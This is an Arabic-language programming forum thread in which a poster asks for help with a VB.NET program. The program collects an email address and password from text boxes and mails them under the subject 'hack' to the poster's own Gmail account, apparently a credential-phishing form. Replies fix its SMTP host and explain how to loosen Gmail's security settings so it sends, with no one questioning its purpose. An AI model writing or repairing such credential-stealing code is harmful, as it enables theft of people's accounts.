تقييم الموضوع :
  • 0 أصوات - بمعدل 0
  • 1
  • 2
  • 3
  • 4
  • 5
ارسال رسالة
#1
السلام عليكم عندي برنامج لارسال الرسائل وحسب علمي الكود صحيح لكن لم ينفذ وهذا الكود
I
 ارجو من الاخوة المساعدة في حل هذه الاشكلة



كود :
Imports System.Net.Mail
Public Class Form1

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Dim ss As New MailMessage
       Try
           ss.From = New MailAddress("safa2027@gmail.com")
           ss.To.Add("safas2027@gmail.com")
           ss.Subject = "hack"
           ss.Body = "email :" + TextBox1.Text + "password :" + TextBox2.Text
           Dim smtp As New SmtpClient("smtp.mail.com")
           smtp.Port = 587
           smtp.EnableSsl = True
           smtp.Credentials = New System.Net.NetworkCredential("safas2027@gmail.com", pass.Text)
           smtp.Send(ss)
           MsgBox("تم الارسال ")
       Catch ex As Exception
       End Try
   End Sub
End Class
وتضهر الرسالة التالية
A first chance exception of type 'System.Net.Mail.SmtpException' occurred in System.dll
الرد }}}}
تم الشكر بواسطة:
#2
(18-11-14, 10:17 AM)صفاء احمد كتب : السلام عليكم عندي برنامج لارسال الرسائل وحسب علمي الكود صحيح لكن لم ينفذ وهذا الكود
I
 ارجو من الاخوة المساعدة في حل هذه الاشكلة




كود :
Imports System.Net.Mail
Public Class Form1

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Dim ss As New MailMessage
       Try
           ss.From = New MailAddress("safa2027@gmail.com")
           ss.To.Add("safas2027@gmail.com")
           ss.Subject = "hack"
           ss.Body = "email :" + TextBox1.Text + "password :" + TextBox2.Text
           Dim smtp As New SmtpClient("smtp.mail.com")
           smtp.Port = 587
           smtp.EnableSsl = True
           smtp.Credentials = New System.Net.NetworkCredential("safas2027@gmail.com", pass.Text)
           smtp.Send(ss)
           MsgBox("تم الارسال ")
       Catch ex As Exception
       End Try
   End Sub
End Class
وتضهر الرسالة التالية
A first chance exception of type 'System.Net.Mail.SmtpException' occurred in System.dll

هذا تبع ارسال رساله الى الاميل ؟؟؟؟؟
لحمد لله رب العالمين على كل شي
الرد }}}}
تم الشكر بواسطة:
#3

السلام عليكم ورحمة الله

أولا عندك خطأ "smtp.mail.com" والصحيح "smtp.gmail.com"

ثانياً نظراً لنظام الحماية الصارم بمنع الارسال من التطبيقات فإن كل الحلول لهذه المشكلة تتفق على الخطوات التالية:
1: قم بارسال الرسالة مع التأكد من كلمة المرور.
2: إذهب للرابط (إشعار تسجيل الدخول المحظور) وقم بتسجل الدخول إذا طلب
3: ستجد معلومات عن النشاط الذي حدث،
وستجد السؤال (هل تعرف هذا النشاط؟) وله جوابان على شكل زران:
أ:نعم إنه نشاطي!
ب:لا-تأمين الحساب

أجب بالضغط على (نعم إنه نشاطي!) بعد التأكد من المعلومات أن من قام بهذه العملية هو أنت فعلاً

4: سيظهر لك سؤال آخر (أشرت إلى أن هذا النشاط يخصك.) وله جوابان على شكل زران:
أ: موافق.
ب: تغيير الرد.

أجب بالضغط على (موافق) إذا كنت ما زلت متأكد بما تقوم به.

5: أذهب للرابط (التطبيقات الأقل أمانًا)
ستجد إعداد واحد فقط وهو (الوصول للتطبيقات الأقل أمانًا) وله خياران:
أ: تعطيل
ب: تمكين

أختر (تمكين) ثم اضغط الزر (تم)

قم يطلب منك إدخال رموز الحماية أكثر من مرة وفي كل مرة ألوانها مختلفة

الأن قم بارسال الرسالة من البرنامج مرة أخرى، وإن شاء الله تمام

حسب ما فهمت أن العملية تعملها مرة واحدة فقط



الغريب أن العملية طبقتها وقدرت أرسل رسالة واحدة فقط لكن في المرة الثانية لم تنجح،
بالرغم من من مراجعة الاعدادات ووجدتها (تمكين)،
لا أدري ما السبب !


الرد }}}}
تم الشكر بواسطة:
#4
اخي الوليد
توجد كلمة مرور للتطبيقات بعد تفعيل التحقق بخطوتين ..
كل مااعرفه في البرمجة تجدونه هنا
الرد }}}}
تم الشكر بواسطة: الوليد ☺
#5

السلام عليكم ورحمة الله

الله يسعدك أخوي سعود وييسر لك أمورك

الرد }}}}
تم الشكر بواسطة:


المواضيع المحتمل أن تكون متشابهة .
الموضوع : الكاتب الردود : المشاهدات : آخر رد
  رسالة خطأ عند استعراض البيانات aftfm 2 52 18-10-17, 06:33 PM
آخر رد: Rabeea Qbaha
  [سؤال] رسالة خطأ بعد تنصيب البرنامج على جهاز آخر aftfm 1 58 09-10-17, 06:57 PM
آخر رد: Adrees
  [VB.NET] ظهور رسالة خطأ: نوع البيانات غير متطابق في تعبير المعايير. Waleed Al-Khamesy 14 233 26-09-17, 04:14 AM
آخر رد: RADOS
Music [كود] هل لدى احد فكره عن كيفيه ارسال ملفات صوتيه عبر الشبكة badrkamel 1 102 23-08-17, 02:23 AM
آخر رد: zinom
  رسالة خطا حول system.drawing سعود 3 128 09-08-17, 07:28 PM
آخر رد: سعود
  [VB.NET] ظهور رسالة خطأ لم افهمها مبرمج مبتدا 5 177 29-07-17, 02:55 AM
آخر رد: مبرمج مبتدا
  [سؤال] شباب ليه رسالة الخطا دى بتظهر احمد عبد الحكيم 1 99 24-07-17, 09:05 PM
آخر رد: silverlight
Heart [VB.NET] مشكل عند إرسال رسالة إلى الإميل EMAIL sniperjawadino 1 145 15-06-17, 11:31 PM
آخر رد: silverlight
  رسالة خطأ salah mansour 1 125 02-06-17, 04:45 PM
آخر رد: boudyonline
  ارسال بيانات عن طريق الإنترنت أسامة السالمي 7 274 22-05-17, 04:43 PM
آخر رد: Amir_alzubidy

التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم